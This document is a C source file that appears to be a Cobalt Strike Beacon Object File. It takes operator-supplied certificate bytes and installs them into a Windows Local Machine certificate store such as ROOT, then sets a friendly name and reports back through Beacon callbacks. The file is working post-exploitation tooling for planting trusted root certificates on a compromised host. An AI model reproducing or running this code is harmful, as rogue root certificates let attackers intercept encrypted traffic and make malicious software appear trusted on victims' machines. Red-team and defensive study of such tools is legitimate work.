addlocalcert.c 3.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990
  1. #include <windows.h>
  2. #include <wincrypt.h>
  3. #include <stdio.h>
  4. #include "addlocalcert.h"
  5. #include "beacon.h"
  6. #pragma comment(lib, "Crypt32.lib")
  7. #pragma comment(lib, "Advapi32.lib")
  8. BOOL addCertificateToRootStore(wchar_t *store, const char *friendlyName, const char *certFileBytes, int iBytesLen) {
  9. BOOL result = FALSE;
  10. HCERTSTORE hStore = NULL;
  11. PCCERT_CONTEXT pCertContext = NULL;
  12. // Open Local Computer store
  13. hStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, (HCRYPTPROV)NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE | CERT_STORE_OPEN_EXISTING_FLAG, store);
  14. if (!hStore) {
  15. BeaconPrintf(CALLBACK_ERROR, "Failed to open specified certificate store\n");
  16. goto cleanup;
  17. }
  18. // Add the encoded certificate to the store
  19. PCCERT_CONTEXT pCertAdded = NULL;
  20. BOOL addCertResult = CRYPT32$CertAddEncodedCertificateToStore(hStore, X509_ASN_ENCODING, certFileBytes, iBytesLen, CERT_STORE_ADD_NEW, &pCertAdded); //CERT_STORE_ADD_NEW | CERT_STORE_ADD_REPLACE_EXISTING
  21. if (!addCertResult) {
  22. DWORD dwError = KERNEL32$GetLastError();
  23. if (dwError == 5 || dwError == 0x80070005) {
  24. BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store due to insufficient privileges.\n");
  25. } else if (dwError == 0x80092005) {
  26. BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store because the certificate already exists.\n");
  27. } else if (dwError == 0x80093102) {
  28. BeaconPrintf(CALLBACK_ERROR, "Failed to add certificate to the store because the certificate is invalid.\n");
  29. } else {
  30. BeaconPrintf(CALLBACK_ERROR,"Failed to add certificate to the store with error code: %x\n", dwError);
  31. }
  32. goto cleanup;
  33. }
  34. result = TRUE;
  35. BeaconPrintf(CALLBACK_OUTPUT, "[+] Certificate added successfully to store!\n");
  36. // Set the "Friendly Name" property
  37. CRYPT_DATA_BLOB friendlyNameBlob;
  38. DWORD friendlyNameLen = MSVCRT$strlen(friendlyName) + 1;
  39. WCHAR *friendlyNameW = (WCHAR *)KERNEL32$LocalAlloc(LPTR, friendlyNameLen * sizeof(WCHAR));
  40. if (!friendlyNameW) goto cleanup;
  41. KERNEL32$MultiByteToWideChar(CP_ACP, 0, friendlyName, -1, friendlyNameW, friendlyNameLen);
  42. friendlyNameBlob.cbData = friendlyNameLen * sizeof(WCHAR);
  43. friendlyNameBlob.pbData = (BYTE *)friendlyNameW;
  44. if (!CRYPT32$CertSetCertificateContextProperty(pCertAdded, CERT_FRIENDLY_NAME_PROP_ID, 0, &friendlyNameBlob)) goto cleanup;
  45. cleanup:
  46. if (hStore) CRYPT32$CertCloseStore(hStore, 0);
  47. if (friendlyNameW) KERNEL32$LocalFree(friendlyNameW);
  48. if (pCertAdded) CRYPT32$CertFreeCertificateContext(pCertAdded);
  49. return result;
  50. }
  51. int go(char *args, int len) {
  52. WCHAR *store = NULL; // Options: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed
  53. CHAR *friendlyName = NULL;
  54. int iBytesLen = 0;
  55. CHAR *certFileBytes;
  56. datap parser;
  57. BeaconDataParse(&parser, args, len);
  58. certFileBytes = BeaconDataExtract(&parser, &iBytesLen);
  59. store = BeaconDataExtract(&parser, NULL);
  60. friendlyName = BeaconDataExtract(&parser, NULL);
  61. if(iBytesLen != 0) {
  62. if(store != NULL) {
  63. BeaconPrintf(CALLBACK_OUTPUT, "Starting task to add certificate to %ls store..\n", store);
  64. BeaconPrintf(CALLBACK_OUTPUT, "Found and loaded certificate into memory with file size: %d\n", iBytesLen);
  65. addCertificateToRootStore(store, friendlyName, certFileBytes, iBytesLen);
  66. } else BeaconPrintf(CALLBACK_ERROR, "Please specify the name of the local computer store to open.\n");
  67. } else BeaconPrintf(CALLBACK_ERROR, "Couldn't find the specified certificate file on disk.\n");
  68. return 0;
  69. }